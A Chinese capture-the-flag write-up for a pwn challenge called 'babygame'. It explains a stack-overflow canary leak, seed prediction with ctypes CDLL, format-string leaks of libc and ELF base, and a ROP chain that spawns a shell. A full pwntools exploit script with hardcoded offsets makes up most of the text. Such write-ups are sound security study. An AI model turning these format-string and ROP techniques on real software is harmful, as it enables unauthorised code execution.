比赛中没写出来,照着别人的wp复现了一下,记录下一些知识点。
题目还算是常规的那种,可以很明显看到漏洞是栈溢出和格式化字符串漏洞。
首先是栈溢出为猜数游戏设置种子,并且泄露出canary的值。
然后通过猜数游戏(CDLL库可自行百度),进入13E7函数,
格式化字符串泄露出libcbase和elfbase,并且将ret addr改为sub_13E7函数,重新进入sub_13E7函数。
此时将ret addr改为main函数,再用利用main函数中的栈溢出漏洞写入rop链,最后拿到shell。
rop链要加ret的原因是栈未对齐
可以看到,红框的语句的作用是检查rsp+0x50是否是0x10的倍数,显然不是,因此要加ret。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * from ctypes import cdll, CDLL
context.log_level = "debug"
p = process('./babygame')
base = p.libs()["/hufu/babygame/37ae6078e4e24dcc8196e39efbe8c0bc/37ae6078e4e24dcc8196e39efbe8c0bc/babygame"]
cmd = "b *%d\n" %(base+0x1449) gdb.attach(p, cmd)
name = b"b"*0x100+p64(0x6161616161616161)+b"a"
p.sendafter(" your name:\n", name)
p.recvuntil("a"*9)
canary = u64(b"\x00"+p.recv(7))
rbp = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = CDLL("libc-2.31.so") libc.srand(0x6161616161616161)
for i in range(100): p.sendlineafter(" \n", str((libc.rand()+1)%3))
payload = b"%62c%9$hhn" payload += b"q%79$p" payload += b"ff%83$pl" payload += p64(rbp-0x218) p.sendafter('Good luck to you.\n', payload)
p.recvuntil("q") leak = int(p.recv(14), 16) libc_base= leak - 0x240b3
p.recvuntil("ff") elf_base = int(p.recv(14), 16) - 0x1465
target = (elf_base+0x148e)&0xffff payload = "%{}c%9$hn".format(target).encode() payload = payload.ljust(0x10, b'a') payload += p64(rbp-0x218)
p.sendafter('Good luck to you.\n', payload)
payload2 = b'q'*0x108+p64(canary)+b"b"*0x18
pop_rdi_ret = libc_base + 0x0000000000023b72 bin_sh = libc_base + 0x1b45bd system_addr = libc_base + 0x522c0 ret = elf_base + 0x1565
payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
p.sendafter(" your name:\n", payload2)
p.interactive()
|